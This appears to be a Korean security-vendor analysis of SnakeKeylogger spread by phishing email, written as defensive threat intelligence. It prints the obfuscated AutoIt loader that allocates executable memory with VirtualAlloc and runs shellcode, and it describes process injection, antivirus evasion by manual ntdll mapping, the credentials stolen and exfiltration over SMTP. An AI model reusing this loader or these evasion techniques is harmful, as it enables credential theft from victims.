이메일로 유포되는 SnakeKeylogger 악성코드
최근 ASEC(AhnLab SEcurity intelligence Center)에서는 SnakeKeylogger 악성코드가 이메일로 유포되는 사례를 확인하였다. SnakeKeylogger는 닷넷 언어로 제작된 Infostealer 유형의 악성코드로, 이메일, FTP, SMTP 또는 Telegram 등을 이용한 데이터 유출 방법을 가지고 있는 것이 특징이다.

[그림 1] 피싱 이메일 본문
최초 유포는 [그림 1] 처럼 이메일 형태가 일반적이다. 사람들에게 비교적 민감한 주제인 금전적 내용으로 관심을 유도하며, 첨부된 실행 파일(BankTran.exe)을 실행하도록 유도한다.
해당 BankTran.exe는 AutoIt 스크립트로 컴파일 되어있는 실행파일(PE)이다. 내부 AutoIt 스크립트 추출 시 AutoIt 스크립트 한 개와, 바이너리 파일 2개, 총 3개의 파일이 추출된다. 각 파일에 대한 이름과 역할은 아래와 같다.
| 파일명 | 종류 | 역할 |
| {Unknown}.au3 | Obfuscated AutoIt Script (Loader) | teres 를 로드 |
| teres | ShellCode (Injector) | quinquenniad 를 복호화 및 인젝션 |
| quinquenniad | .NET PE (Encrypted SnakeKeylogger) | SnakeKeylogger 악성코드 |
[표 1] 추출되는 파일, 종류, 역할
지금부터 AutoIt 스크립트에서 정상 프로세스에 SnakeKeylogger가 인젝션되는 과정까지 살펴보자.

[그림 2] 추출된 AutoIt 스크립트
#NoTrayIcon
FileInstall("quinquenniad", @TempDir & "\quinquenniad", 1)
FileInstall("teres", @TempDir & "\teres", 1)
Global $v30rutgry = Execute('FileRead(FileOpen(@TempDir & "\teres"))')
$v30rutgry = Execute('StringReplace($V30rUtgRy, "1A6E71D4810309FDFC6D43D3E9A6A999A1918E3376ACA2EEC40F44C89B681ADD6AA0260BDF66FE84DA", "")')
$t33106ba = DllCall(c30te6f("x/)84)2w", "AA"), c30te6f("8:6", "AA"), c30te6f("'928%3:2-2", "AA"), c30te6f("*;38*", "AA"), c30te6f("v", "AA"), c30te6f("*;38*", "AA"), BinaryLen($v30rutgry), c30te6f("*;38*", "AA"), c30te6f("vvvw>v", "AA"), c30te6f("*;38*", "AA"), c30te6f("vv>z", "AA"))
$t33106ba = $t33106ba[0]
$z374vm4oj = DllStructCreate(c30te6f("f):=(", "AA") & BinaryLen($v30rutgry) & c30te6f("!", "AA"), $t33106ba)
DllStructSetData($z374vm4oj, 1, $v30rutgry)
DllCallAddress(c30te6f(":4-", "AA"), $t33106ba + 9136)
해당 AutoIt 스크립트는 매우 심하게 난독화 되어있으나, 복호화 로직을 통해 확인한 문자열들은 아래와 같으며
보여지는 문자열을 통해 VirtualAlloc으로 공간을 할당하고 해당 공간에서 악성코드를 실행시킬 목적임을 유추할 수 있다.
| 복호화 함수 및 인자 값 | 결과 |
| c30te6f(“x/)84)2w”, “AA”) | Kernel32 |
| c30te6f(“8:6”, “AA”) | ptr |
| c30te6f(“‘928%3:2-2”, “AA”) | VirtualAlloc |
| c30te6f(“;38“, “AA”) | dword |
| c30te6f(“v”, “AA”) | 0 |
| c30te6f(“vvvw>v”, “AA”) | 0x3000 |
| c30te6f(“vv>z”, “AA”) | 0x40 |
| c30te6f(“f):=(“, “AA”) | byte [ |
| c30te6f(“!”, “AA”) | ] |
| c30te6f(“:4-“, “AA”) | int |
[표 2] 복호화 된 문자열
VirtualAlloc으로 할당된 공간에는 %Temp%경로에 생성한 teres(ShellCode)가 실행된다.

[그림 3] VirtualAlloc으로 할당된 공간에 쓰여진 teres(ShellCode)
ShellCode는 정상 프로세스에 SnakeKeylogger 악성코드를 인젝션하는 역할을 수행한다.
SnakeKeylogger 악성코드는 같은 %Temp% 디렉토리에 있는 quinquenniad파일에 암호화 되어있으며, 해당 악성코드가 인젝션되는 프로세스 목록은 아래와 같다. 공격자는 시스템 환경에 따라 아래 프로세스 중 하나를 선택하여 인젝션 한다.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
C:\Windows\System32\svchost.exe
아래 [그림 4]와 같이 암호화된 quinquenniad 파일은 ShellCode 내부에서 특정 키로 복호화된다.

[그림 4] 복호화된 SnakeKeylogger 악성코드 (quinquenniad)
인젝션 과정에서 ntdll.dll을 수동으로 매핑하여 사용하는 행위가 확인되었다.
이 같은 행위는 공격자들이 ntdll.dll을 후킹하고 있는 안티바이러스 제품의 탐지를 우회하기 위해 주로 사용하는 방법이며, 관련 기법은 이전 ASEC Blog에서도 소개한 바[1][2]가 있다.

[그림 5] ntdll.dll을 수동으로 매핑하는 ShellCode
이후 새로 생성한 프로세스에 인젝션을 수행하며, SnakeKeylogger 악성코드가 동작한다.
분석 당시 악성코드 이름과는 달리, Keylogger 기능은 코드 상에만 존재하고 동작하지 않는다. 이를 통해 악성코드 제작 과정에서 기능을 선택하는 옵션이 존재할 것이라는 합리적인 추측이 가능하다. 즉, 공격자가 SnakeKeylogger 악성코드를 커스텀하여 제작할 수 있다는 것을 의미한다. 결론적으로, 이번 사례에서 소개하는 SnakeKeylogger 에는 정보 탈취 기능만 동작했다. 시스템에 존재하는 이메일, 브라우저, FTP, SNS 등의 서비스를 대상으로 데이터(계정 정보 등)를 탈취한다.
아래 표에서 SnakeKeylogger가 동작하며 탈취하는 정보들을 나열한다.
| 탈취 정보 | 세부 정보 | 대상 프로그램 |
| Browser | Login Data, Web Data, History, Cookies, Top Sites | Amigo, Xpom, Kometa, Nichrome, Chrome, CocCoc, QQ Browser, Orbitum, Slimjet, Iridium, Vivaldi, Iron, Chromium, Ghost Browser, Cent Browser, Xvast, Chedot, Superbird, 360 Browser (English, Chinese), Comodo, Brave, Torch, UCBrowser, Blisk, Epic, Avast Browser, Kinza, BlackHawk, Citrio, Urn, Coowon, 7Star, QIP Surf, Sleipnir5, Chrome Canary, ChromePlus, Sputnik, Falkon, Edge, Opera, Liebao, Slim Browser, Firefox, SeaMonkey, IceDragon, CyberFox, PaleMoon, WaterFox |
| IMAP Password, HTTP Password, POP3 Password, SMTP Password, Account Info | Outlook, Foxmail, Thunderbird, PostBox | |
| FTP | Host, Port, User, Password | FileZilla |
| Etc | db, log … | Pidgin, Discord |
[표 3] 탈취되는 정보
위에서 탈취한 사용자의 정보는 SMTP로 공격자에게 전송된다. 해당 사례에서는 탈취한 정보를 SMTP로 전송하지만, 코드 내부에 텔레그램을 이용하는 방식과 일반적인 HTTP 방식으로 전송하는 방법 또한 발견되나 동작하지 않는다. 이 역시 위에서 언급한 SnakeKeylogger 악성코드 커스텀의 흔적이라 할 수 있다.

[그림 6] 탈취한 정보를 SMTP를 이용하여 공격자에게 전송
이메일을 통한 공격은 과거부터 꾸준히 발생하고 있으므로 출처가 불분명한 이메일을 열람할 때에는 각별한 주의가 필요하다. 특히, exe 확장자를 가진 실행 파일이 첨부된 경우 실행을 자제해야 한다.
파일 진단
– Trojan/Win.Autoit.XG85
– Trojan/Win.SnakeKeylogger.R433068
– Trojan/Win.SnakeKeylogger.C5326084
– Trojan/AU3.Loader
– Trojan/BIN.Agent
– Trojan/BIN.Shellcode